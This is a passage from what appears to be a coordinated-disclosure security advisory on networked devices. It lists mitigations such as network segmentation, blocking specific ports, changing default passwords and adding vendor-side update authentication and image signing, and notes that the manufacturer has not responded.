mtd5.binto restore factory state (also captured in pcap).
12. Mitigations
- Segmentation (primary): place these units on a dedicated, firewalled VLAN; block TCP 34920 (and the app ports 34918/34945/34952, 6668) from occupant/guest networks and the internet.
- Change all default passwords on install (V7), and assume V6 means those codes transit the LAN in cleartext.
- Treat WiFi credentials, Tuya keys, and camera credentials stored on the device (V5) as recoverable by anyone who compromises a unit.
- For vendors: add authentication to the update service (V1), image signing or at least integrity checking (V2), and staged/verified updates with rollback (V3).
The manufacturer has been contacted through a coordinated disclosure CERT VINCE case, with the initial report sent 2026-07-02. The manufacturer has not responded to the case.